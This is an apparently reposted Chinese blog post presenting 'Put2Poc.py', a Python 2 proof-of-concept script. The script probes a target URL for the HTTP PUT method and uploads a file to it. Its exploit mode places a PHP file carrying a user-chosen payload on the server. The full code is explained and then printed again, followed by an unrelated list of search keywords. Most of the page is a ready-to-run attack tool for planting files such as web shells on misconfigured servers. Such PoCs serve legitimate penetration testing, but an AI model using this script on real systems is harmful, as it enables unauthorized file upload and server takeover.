PUT上传POC--Put2Poc.py
发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,环境Python 2.7 requests sysWindows 7Apache 已完成put配置。PHPApache PUT配置简单介绍一下源码,增加易读性。POC入口函数,设置默认变
千家信息网最后更新 2025年01月20日PUT上传POC--Put2Poc.py
环境
Python 2.7 requests sysWindows 7Apache 已完成put配置。PHP
Apache PUT配置
简单介绍一下源码,增加易读性。
POC入口函数,设置默认变量,接受和判断用户输入参数是否合法,调用探测是否存在不安全的HTTP方法函数Test2Option(url,YN),接受返回所支持的方法,调用PUT方法上传文件。
def main(): if len(sys.argv) < 2 : print u''' Version:1.0 请输入将要验证的URL(eg:Put2Poc.py http://test.com) Put2Poc.py arg1 arg2 arg1:目标URL arg2: 选择(1)验证OR(2)利用(默认为验证) arg3: 选择上传文件的目录,默认为/(eg:/test/) arg4: 设置长传的文件的文件名,默认为test.html arg5:设置特定的利用payload(默认漏洞利用为:) 注:当前版本仅支持PHP语言的利用''' sys.exit() if len(sys.argv) >= 2 : url = sys.argv[1] YN = 1 path = '/' filename = 'test.html' content = None # print url if 'http' not in url : print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)' sys.exit() if len(sys.argv) >= 3 : # print type(sys.argv[2]) if sys.argv[2] in '2' : filename = 'test.php' if sys.argv[2] not in ['1','2'] : print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)' sys.exit() YN = sys.argv[2] if len(sys.argv) >= 4 : path = sys.argv[3] if len(sys.argv) >= 5 : filename = sys.argv[4] if len(sys.argv) >= 6 : content = sys.argv[5] if len(sys.argv) > 6 : print u'请检查参数设置' sys.exit() r_options = Test2Option(url,YN) if content is not None : Put2File(url,YN,r_options,path,filename,content) else: Put2File(url,YN,r_options,path,filename) # print r_options
Error2status(code) 判断请求的返回状态。
参数 code : 请求返回的状态码
def Error2status(code): if 400 <= code < 500: return 4 if 500 <= code < 600 : return 5 if 200 <= code < 400 : return True
Test2Option(url,YN)探测目标URL是否支持OPTIONS方法
参数 url : 请求的URL参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
def Test2Option(url,YN): try: r = requests.options(url,verify=False,timeout=10) except : print u'Error,请检查链接是否可以访问' sys.exit() r_options = r.headers r_status_code = Error2status(r.status_code) if r_status_code == 4 : print u'%s Client Error for url: %s' % (r.status_code,url) print u'该链接不支持OPTIONS方法' sys.exit() if r_status_code == 5 : print u'%s Server Error for url: %s' % (r.status_code,url) print u'请检查链接是否可以访问' sys.exit() if r_status_code is True : print u'该链接存在不安全的HTTP方法' print r_options['Allow'] return r_options['Allow']
Put2File(url,YN,r_options,path,filename,content=None)
参数 url : 测试的URL参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。参数 r_options : 网站所支持的HTTP请求方法。参数 path : 文件上传位置参数 filename : 文件名参数 content : 自定义文件内容。
def Put2File(url,YN,r_options,path,filename,content=None): url = url.rstrip('/') + path + filename print url headers = { 'Accept': '*/*', 'Accept-Language': 'en-US', 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)' } data = '' if YN is '2': data = '' if content is not None : data = content r = requests.put(url,headers=headers,data=data) r_status_code = Error2status(r.status_code) if r_status_code == 4 : print u'%s Client Error for url: %s' % (r.status_code,url) print u'服务器禁止上传文件' if r_status_code == 5 : print u'%s Server Error for url: %s' % (r.status_code,url) print u'服务器禁止上传文件' if r_status_code is True : print u'Server status code: %s' %(r.status_code) print u'服务器支持PUT文件上传' print u'文件名: %s' %(filename) print u'文件内容: %s' %(data) print u'文件长传位置为: %s' %(path) print u'文件链接: %s' %(url) print r.content
POC
#/usr/bin/env python#coding:utf-8##Author:nw01f#Date:2018.01.11#Version:1.0#import requestsimport sysdef Error2status(code): if 400 <= code < 500: return 4 if 500 <= code < 600 : return 5 if 200 <= code < 400 : return Truedef Test2Option(url,YN): try: r = requests.options(url,verify=False,timeout=10) except : print u'Error,请检查链接是否可以访问' sys.exit() r_options = r.headers r_status_code = Error2status(r.status_code) if r_status_code == 4 : print u'%s Client Error for url: %s' % (r.status_code,url) print u'该链接不支持OPTIONS方法' sys.exit() if r_status_code == 5 : print u'%s Server Error for url: %s' % (r.status_code,url) print u'请检查链接是否可以访问' sys.exit() if r_status_code is True : print u'该链接存在不安全的HTTP方法' print r_options['Allow'] return r_options['Allow']def Put2File(url,YN,r_options,path,filename,content=None): url = url.rstrip('/') + path + filename print url headers = { 'Accept': '*/*', 'Accept-Language': 'en-US', 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)' } data = '' if YN is '2': data = '' if content is not None : data = content r = requests.put(url,headers=headers,data=data) r_status_code = Error2status(r.status_code) if r_status_code == 4 : print u'%s Client Error for url: %s' % (r.status_code,url) print u'服务器禁止上传文件' if r_status_code == 5 : print u'%s Server Error for url: %s' % (r.status_code,url) print u'服务器禁止上传文件' if r_status_code is True : print u'Server status code: %s' %(r.status_code) print u'服务器支持PUT文件上传' print u'文件名: %s' %(filename) print u'文件内容: %s' %(data) print u'文件长传位置为: %s' %(path) print u'文件链接: %s' %(url) print r.contentdef main(): if len(sys.argv) < 2 : print u''' Version:1.0 请输入将要验证的URL(eg:Put2Poc.py http://test.com) Put2Poc.py arg1 arg2 arg1:目标URL arg2: 选择(1)验证OR(2)利用(默认为验证) arg3: 选择上传文件的目录,默认为/(eg:/test/) arg4: 设置长传的文件的文件名,默认为test.html arg5:设置特定的利用payload(默认漏洞利用为:) 注:当前版本仅支持PHP语言的利用''' sys.exit() if len(sys.argv) >= 2 : url = sys.argv[1] YN = 1 path = '/' filename = 'test.html' content = None # print url if 'http' not in url : print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)' sys.exit() if len(sys.argv) >= 3 : # print type(sys.argv[2]) if sys.argv[2] in '2' : filename = 'test.php' if sys.argv[2] not in ['1','2'] : print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)' sys.exit() YN = sys.argv[2] if len(sys.argv) >= 4 : path = sys.argv[3] if len(sys.argv) >= 5 : filename = sys.argv[4] if len(sys.argv) >= 6 : content = sys.argv[5] if len(sys.argv) > 6 : print u'请检查参数设置' sys.exit() r_options = Test2Option(url,YN) if content is not None : Put2File(url,YN,r_options,path,filename,content) else: Put2File(url,YN,r_options,path,filename) # print r_optionsif __name__ == '__main__': main()
注:欢迎指正和提出修改意见。
文件
参数
验证
链接
方法
支持
选择
输入
服务器
漏洞
服务
检查
文件名
安全
位置
内容
目标
函数
版本
状态
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
软件开发什么技能
软件开发专业研究生毕业就业
怎么链接公司的数据库
宕昌县有什么数据库
机动服务器连接失败
数据库新技术的看法
对软件开发公司的建议
360无线网络安全产品
吐鲁番网络服务器维保公司
扬州营销软件开发系统
开展网络安全宣传活动的简报
买本地硬盘还是云服务器
java sql 查找数据库
验证db2数据库安装成功
飞机上的无线网络技术
金蝶加密网络服务器闪退
qt数据库万能查询模块
软件开发都要学啥
服务器管理器关机
总结计算机网络技术笔试题
怎么查看服务器里面东西
网络技术工程师需要什么学历
家用电脑做游戏服务器
实数数据库服务工作的重点和难点
jsp查询数据库表大小写
怎么把数据传到数据库
香港时间服务器地址
网络技术员要学会多久
搭建一个服务器要多久时间
教之初服务器管理系统破解版